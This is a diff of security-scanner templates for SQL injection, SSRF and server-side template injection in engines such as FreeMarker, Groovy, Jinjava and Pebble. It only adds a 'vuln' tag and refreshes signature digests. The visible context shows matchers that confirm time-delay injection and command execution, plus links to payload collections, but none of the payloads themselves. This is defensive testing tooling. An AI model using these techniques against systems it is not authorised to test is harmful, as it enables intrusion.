-# digest: 4a0a0047304502201defae9e491762c05f2aefe99c8489ba93fd7153248875c686f9c6420abe3dc8022100bec8f77768157cd111d564a3498dfd931718092aa5a06e68b2b0033ef765d537:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    This is accomplished by the application taking user input and combining it with static parameters to build an SQL query .
  metadata:
    max-request: 3
-  tags: sqli,error,dast
+  tags: sqli,error,dast,vuln

 http:
  - pre-condition:
@@ -494,4 +494,4 @@ http:
          - "SQ200: No table "
          - "Virtuoso S0002 Error"
          - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4b0a00483046022100aa148dd908d30fe373522fd4b169a8c92376ca39b7eb6c41dbbfde1f0be384cf022100810e9ae8300cec98d33500199a98614dffe88f94777533129e5a3a8542084f5a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc7880d1ba52b68e380ae499d88bfb728689d1f8cf19a0b3614da15cff736951022100b90853b96511c04b6ca8fd4ebeaa539b9a100804e46acb3f5beb203f2ff7e575:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: critical
  description: |
    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
-  tags: time-based-sqli,sqli,dast,blind
+  tags: time-based-sqli,sqli,dast,blind,vuln

 flow: http(1) && http(2)

@@ -124,4 +124,4 @@ http:
      - type: dsl
        dsl:
          - "duration>=7 && duration <=16"
-# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f81a7af56429232ba4c582bc7ec7a8f6259d3220126dce0bf15189a7cc0a4a30022100b39ba449c1f3d3230700db35466858af68993bd8c9630b50225a77e5e2ca8b6e:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: medium
  metadata:
    max-request: 3
-  tags: ssrf,dast,oast
+  tags: ssrf,dast,oast,vuln

 http:
  - pre-condition:
@@ -37,4 +37,4 @@ http:
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"
-# digest: 490a0046304402200f4fac59ac544b53062c8903e3fc14f94b56e7ae95d1d9deef2d81d30a71e0be022075d19be0c973cbe8ec8120eaaeb45568dbb4c1992f19ece89e567949cfaeb658:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f5689b30c3f94560c914b824916630f62b30706ea13dac96132350cf11edcdb022057a1c782332e4a02cff196012cb4b88cf0492cebb61afbc7064646f14f6bfcb1:922c64590222798bb761d5b6d8e72950
@@ -8,7 +8,7 @@ info:
    - https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
  metadata:
    max-request: 12
-  tags: ssrf,dast
+  tags: ssrf,dast,vuln

 http:
  - pre-condition:
@@ -132,4 +132,4 @@ http:
        part: body
        regex:
          - 'id[\s\S]+interfaces\/'
-# digest: 4a0a0047304502202fde4bfa65da3bf0c55b9b438cd860494fbd0663a658a93ecacfa6f796104b560221008a0a57e62fa458121b54a0aca4e8ce18ad30806a2680549345df96912af33d18:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006af276ebf6a418b1bcf9f916236906c2eb958611639ee3f9e885872aedc5ee102201dd3a6cb133d0920b1e98ae20027fe57c348a763b189a5b38ba57edb242d09e4:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---sandbox-bypass
  metadata:
    verified: true
-  tags: ssti,dast,freemarker
+  tags: ssti,dast,freemarker,vuln

 http:
  - pre-condition:
@@ -34,4 +34,4 @@ http:
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
-# digest: 4a0a00473045022100b5577e417caf5698d76f3cf7da7414f04e9be66d0cb15ff7ce9cf6648424d20d02206614926d9c4e239b7198e07da4b8b61829faf8dc55057ee0439b3b1e3fbb41fc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ac8c10f30a5cdc7e823e21020c162e3905bb3224dc545e42d0af472fe3b9cc3802204b4d959cdab058adf6963fdb8f84eeb01e420b56b927cd2f3a6b9041ec60a4cd:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -37,4 +37,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a00473045022100cd8d8ea3f75134ec1a9235f83294c87b8f49df61c565d5fa91dc45c57759aad302203b9fa6ca78133641e3d5b3304ead17401d5f2ccd55b3917418f23dc677014681:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200fbe63bd2f1255654c93ddedae62499fdfcb8ac4496041cc3da3caca97b1bc00022100bcce8a6791c82c2c40fbf9f614484ca12b3bd7c002f373534fd3085a6d5de7d2:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 variables:
  oast: "{{interactsh-url}}"
@@ -40,4 +40,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a00473045022100b3c70b176879a2460a518ad7118919a3658bf5806e8bc74b03caf23f1e72433c022077bc6aabdf2008bf051823242155f5bab226fd32d39b7ff9704778a97ecc2dc7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a92ae4fac72f544f364bda53a299b0c8ec0f100e7214207ec18cdac184fd8883022100c6ee6753b6c703415440b9f56c5b2bba10498fac41d10dfafa28c0dd1757104d:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -37,4 +37,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a00473045022100f2d190c0663353f514bcd5044e28ad9a9dccbb7360ed054dba295e021cf608dd022073b0a3f0cdd8945800bbb341ce75f505ad961ea2a56a8ef21c8913bb70a28df9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a1a7d16120a0aed4f61ba57617da6c6ca6819d11af22d3f4a97d0ea6c55b3072022100c0d6fd6e33b1aaf824fa03be2a49de9d53c1a38e0c4d75cc3fea70ed686de139:922c64590222798bb761d5b6d8e72950
@@ -8,7 +8,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#codepen
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -34,4 +34,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 490a0046304402201cc122332f3c98014cdaa0a48408214d6907250a67fd300276c16d4281923d8a0220489b6d635f7e4db27abfa366a85e62646b8ca7ece0b96ce5243d8dd3403ece45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e27481698d8336750623b7e91390c3541b578fdb99427935d92321df6e9fd034022100c44a2d500e417f78f771fa416450b2d0913c24d23ac7ad010ca4288fed3ca20b:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 variables:
  prefix: "{{rand_text_alpha(5)}}"
@@ -40,4 +40,4 @@ http:
          - "contains(interactsh_protocol,'http')"
          - "contains(to_lower(interactsh_request), to_lower(prefix))"
        condition: and
-# digest: 4b0a00483046022100cadd085bedcc3eec5c265e4ea1e6c5841d295fcb2a1ea9579d820fd65d7ba76c02210083ea8ab271591441bda5e2be002ac93aa2401588137a13b16dede01998dde774:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012c929da780d21185b177dd5e1717c366c2a688b271f19d23aeca721075a5cb6022100f3cfe854cbb64d10a90efdcc23eec9cabb573d6e7ab600ca50620784b2ecf3ec:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 variables:
  prefix: "{{rand_text_alpha(5)}}"
@@ -39,4 +39,4 @@ http:
          - "contains(interactsh_protocol,'http')"
          - "contains(to_lower(interactsh_request), to_lower(prefix))"
        condition: and
-# digest: 490a004630440220131ae926976d315a83115b59fbad83092ae0fd0b59d32306a7d225549889b10002201d1c77ab6dc971aa4bf14f712b268a9dfd3e63ebdbd19924350c795f022243a2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a775f3363de455c0b45e75fa98cb5999f4351b2120128297e47b448e1238af2202202a6eebf4e6407cbea04c85ccafe8da054a3a6bc10b54de2644442111b3653ed4:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -36,4 +36,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4b0a00483046022100d44112e878992334eff0e56d4b681cad181cd69eaa33f85809d784cc3ee25c91022100d86622b20f85ffa938c2954e23f4448a916656cae030e00718ac30c7275d4c1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220339e6129262efd8b705181d9c5b9da8b6ac52e70c0b3815bf3f1672bfcff4d07022100be49c15c59d1241bdb873f973f0cebea10b3f7049327cdb3c051c99f2b8034ad:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---code-execution
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -41,4 +41,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a00473045022100bf5ddb2ad93a12743f4f04d7abf3504933707f1f4c446750c8bd834f89cef8a102207631bfbd20ac97603455277c01135a025f9b58b58ff91bb092d6e85f05513771:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b533c2fc497cb5f4aea5ee153daddc845b4842f7d720cce22180dbed1d863930221009f66d4268153e923175756d1f615947f9da0febc97d2d1ebfdba84b6d3644866:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#groovy---command-execution
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob,groovy
+  tags: ssti,dast,oast,oob,groovy,vuln

 http:
  - pre-condition:
@@ -43,4 +43,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 490a0046304402205ead8b6ab5843cf8f9dacbf9c9b30903379407d101cf23f135ee3412487d306e0220265dec49712207006d6488a7c29aa571781985047f146485cb74bd889382f80a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022010b5e98da5cf7fe997be5d2ff2c4ad39b4037db9e3bcb6f50ee46cf83a2b66ea022100f8ecec2f82d7be36f4d593c9fef154ba66463d6024353dc1e2ec6f4b25741e92:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -38,4 +38,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a004730450221008c4cd90980e559b7c0b2b3a73939e66625742350067a2a8e68a17b31cf2cd8b5022030d5d2daaa6519dc175b1aee53e418689cb92d23931cfaa634ea939080f4d124:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4455c7a4339740d674b6f59246f0a36069d2d3609cf3ee0ee4b4cc32a714c1402207190c306e14b6418adbaa991defce48c765a58b66d4cf0ace79524bb647006f5:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#jinjava---command-execution
  metadata:
    max-request: 1
-  tags: ssti,dast,jinjava
+  tags: ssti,dast,jinjava,vuln

 http:
  - pre-condition:
@@ -44,4 +44,4 @@ http:
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
-# digest: 490a00463044022009e471af7219a7639a467c4bc520db6ab774746b4dc0aefc0182930ce12940a3022077b368e377321ba8b805aa19bdf3debc133f0ff5a504c41968784872719209dc:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009c381e116f28ee22c1e36d743bcea2a5c87ca61561bdcc5c58b08f2596415f75022100f37d547dad67076dedd9fa6f2506d6e7f02cb0bbd690c98690f8bca9988764ef:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -37,4 +37,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 490a0046304402200d483fbb88716d2d47685a03aa0dee25caf8ece71174565e25549d720827b99d022032645bd75dac7fbb60dcceceb92917482b922dcbc9832bae31c640f3dc828eb7:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022078fe5868ed3f07d57ff1568b532dec7f8855261288485b83072754089d44e5360220703dbd6d6b317ce77d650197006d5499182f6972176f597db9147a38697de102:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln

 http:
  - pre-condition:
@@ -37,4 +37,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a0047304502207052dc8191e6d2dfba56a1c70f7ab5a4ee2b39215188bb17b81c47793e8b859c022100beabc7d974513b1c577ca0ec2df24bd3bbe6f946f2e6e41703fa4e09d68bc8fd:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204970d17ec35469391ae17dfe8ad7bfce1c59136d19703d5f6ce76438c69c5b7102203072e91a126318b0e65565ca7c6a454cd4ea04c3df22938f24ca9f760d1432d5:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#pebble---code-execution
  metadata:
    max-request: 1
-  tags: ssti,dast,pebble
+  tags: ssti,dast,pebble,vuln

 http:
  - pre-condition:
@@ -38,4 +38,4 @@ http:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
-# digest: 4a0a0047304502205cc8f8b50a2b4d6dda2c97de2cff17e6ccbd9f35e9598db37a79e0bf1fe77868022100b551d62b5181343729b88b6ceef1226d54d9037924eb1ce0b95a34f014fb18d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202973ce41aba5444756d121a20dabe25b8d0f799b32f9961010f5c1e70a68cd3a022100caee28c8c1510c25bc56b2b29702dfe80b13e4f9507c510616c9a2deed75440c:922c64590222798bb761d5b6d8e72950